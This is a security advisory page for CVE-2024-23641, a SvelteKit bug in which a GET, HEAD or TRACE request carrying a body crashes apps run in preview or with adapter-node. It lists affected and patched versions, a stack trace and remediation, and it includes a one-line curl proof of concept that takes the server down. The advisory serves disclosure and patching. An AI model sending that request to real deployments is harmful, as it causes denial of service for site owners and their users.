CVE-2024-23641High· 7.5▾ Twilight

Sending a GET or HEAD request with a body crashes SvelteKit

▾ Twilight zone — High severity, or a signal on a lesser flaw

Depth score41/ 100 · Moderate

impact 41.3 · likelihood 0.2 · exploitation 0

⚡ Agent-ready:Raw markdown ↗JSON ↗

Proof of concept

Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.

…

Published

Jan 24, 2024

Updated

Oct 18, 2026

CVSS

7.5

Vendor

sveltejs

Product

@sveltejs/kit

CWE

CWE-20

Depth score

41 · Moderate

EPSS

0.76% · p55

Platforms

—

Source

GHSA

Vector

—

EPSS history

Exploit-prediction probability, daily snapshots since Oct 18.

0.8% → 0.8%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 998 days

Jan 24, 2024Published
Disclosed via GHSA
Oct 18, 2026Record revised
Last analysed / modified upstream
Oct 18, 2026EPSS first tracked
0.8%

sveltejs CWE-20 #ghsa #npm

Affected

@sveltejs/kit >= 2.0.0, < 2.4.3
@sveltejs/adapter-node >= 2.0.0, < 2.1.2
@sveltejs/adapter-node >= 3.0.0, < 3.0.3
@sveltejs/adapter-node = 4.0.0

Patched in

@sveltejs/kit 2.4.3
@sveltejs/adapter-node 2.1.2
@sveltejs/adapter-node 3.0.3
@sveltejs/adapter-node 4.0.1

Full technical detail▾

Overview

Summary

In SvelteKit 2 sending a GET request with a body eg {} to a SvelteKit app in preview or with adapter-node throws Request with GET/HEAD method cannot have body. and crashes the app.

node:internal/deps/undici/undici:6066
          throw new TypeError("Request with GET/HEAD method cannot have body.");
                ^

TypeError: Request with GET/HEAD method cannot have body.
    at new Request (node:internal/deps/undici/undici:6066:17)
    at getRequest (file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/node/index.js:107:9)
    at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:181:26
    at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
    at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
    at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:172:6
    at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)
    at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5)
    at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:211:27
    at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7)

Node.js v20.11.0

TRACE requests will also cause the app to crash. Prerendered pages and SvelteKit 1 apps are not affected.

PoC

First do a fresh install of SvelteKit 2 with the example app. Typescript.

npm run build
npm run preview
Go to http://localhost:4173 (works)
curl -X GET -d "{}" http://localhost:4173/bye
Application crashes and http://localhost:4173 is down

Impact

Denial of Service for apps using adapter-node

Affected packages

@sveltejs/kit >= 2.0.0, < 2.4.3
@sveltejs/adapter-node >= 2.0.0, < 2.1.2
@sveltejs/adapter-node >= 3.0.0, < 3.0.3
@sveltejs/adapter-node = 4.0.0

Remediation

Upgrade to a patched release:

@sveltejs/kit 2.4.3
@sveltejs/adapter-node 2.1.2
@sveltejs/adapter-node 3.0.3
@sveltejs/adapter-node 4.0.1

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#ghsa#npm

Overview

Summary

In SvelteKit 2 sending a GET request with a body eg {} to a SvelteKit app in preview or with adapter-node throws Request with GET/HEAD method cannot have body. and crashes the app.

node:internal/deps/undici/undici:6066 throw new TypeError("Request with GET/HEAD method cannot have body."); ^ TypeError: Request with GET/HEAD method cannot have body. at new Request (node:internal/deps/undici/undici:6066:17) at getRequest (file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/node/index.js:107:9) at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:181:26 at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7) at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5) at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:172:6 at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7) at next (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44739:5) at file:///C:/Users/admin/Desktop/reproduction/node_modules/@sveltejs/kit/src/exports/vite/preview/index.js:211:27 at call (file:///C:/Users/admin/Desktop/reproduction/node_modules/vite/dist/node/chunks/dep-9A4-l-43.js:44795:7) Node.js v20.11.0

TRACE requests will also cause the app to crash. Prerendered pages and SvelteKit 1 apps are not affected.

PoC

First do a fresh install of SvelteKit 2 with the example app. Typescript.

npm run build

npm run preview

Go to http://localhost:4173 (works)

curl -X GET -d "{}" http://localhost:4173/bye

Application crashes and http://localhost:4173 is down

Impact

Denial of Service for apps using adapter-node